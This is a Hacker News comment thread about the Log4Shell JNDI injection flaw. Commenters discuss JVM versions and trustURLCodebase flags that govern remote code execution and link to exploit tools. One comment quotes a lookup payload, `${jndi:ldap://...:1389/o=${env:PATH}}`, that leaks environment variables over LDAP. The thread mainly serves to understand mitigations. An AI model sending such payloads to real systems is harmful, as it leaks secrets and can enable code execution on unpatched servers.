Hacker News Reader

Hacker News

Comment by brasetvik | Hacker News Reader

Full thread

brasetvik

Are there any mitigations in recent JVMs?

I tried reproducing this, and got the POC to hit the LDAP server, but it wouldn't load the test payload.

- https://github.com/mbechler/marshalsec

- https://github.com/veracode-research/rogue-jndi

Minecraft servers were being actively exploited according to various tweets.

View on HN

Yes, more specifically after Java 8u191 you need to flag the client with: -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -Dcom.sun.jndi.rmi.object.trustURLCodebase=true

While RCE is not possible without these flags, you will still get pingback, in minecraft's example, allowing you to get the IP of everyone connected.

That's good clarification, thanks.

I got the POC to RCE with `-Dcom.sun.jndi.ldap.object.trustURLCodebase=true` seeming sufficient.

While still not great, I'd expect that to meaningfully reduce the severity for most, as that seems a pretty … odd option to enable.

If you check the argument, one is for RMI and the other is for LDAP, if your PoC uses LDAP then you need the LDAP one, else RMI, etc.. But yes, most people probably don't have this enabled, so the only concern is a pingback in modern java.

Pingback can also include variable contents, so it's not just "they can get the IPs", but also potentially secrets and such.

Yeah, `${jndi:ldap://127.0.0.1:1389/o=${env:PATH}}`

Oracle says this is in 8u121, not 8u191: https://www.oracle.com/java/technologies/javase/8u121-relnot...

8u121 seems to address the RMI vector but not LDAP (per https://www.veracode.com/blog/research/exploiting-jndi-injec...).

The trustURLCodebase check was added to the LDAP provider in 2009:

https://github.com/openjdk/jdk8u/commit/006e84fc77a582552e71...

This change is included in tag jdk8-b01, which was the first release build of Java 8.

I don't think this exploit as described actually works against a default-configured JVM released any time in the last decade. Is there actually an executable PoC which shows otherwise?

Now, it's true there are ways to exploit deserialisation without loading code. You need to find a class in the classpath that does something sketchy when deserialised. There has been a lot of work to clean up such things in recent years, but it's possible some still exist. Again, i would like to see a PoC.

Or maybe not:

> Apparently there had been a prior patch (CVE-2009-1094) for LDAP, but that was completely ineffective for the factory codebase. Therefore, LDAP names would still allow direct remote code execution for some time after the RMI patch. That “oversight” was only addressed later as CVE-2018-3149 in Java 8u191 (see https://bugzilla.redhat.com/show_bug.cgi?id=1639834).

https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Inj...

so, thats mean its impossible to get RCE without those flag?

It is still possible to RCE, but you won’t be able to achieve it using the proof of concept code. See the article for resources that describe alternative methods to exploit.

While the specific exploit may not be possible in 8u191 and later, I am not convinced they are safe from all RCEs using this vulnerability. It does make it harder to exploit, and hit or miss depending on what is available in the classpath.

See https://www.veracode.com/blog/research/exploiting-jndi-injec...

I find it the most bizarre that I had my Minecraft server patched before the news even hit HN.

Reply on news.ycombinator.com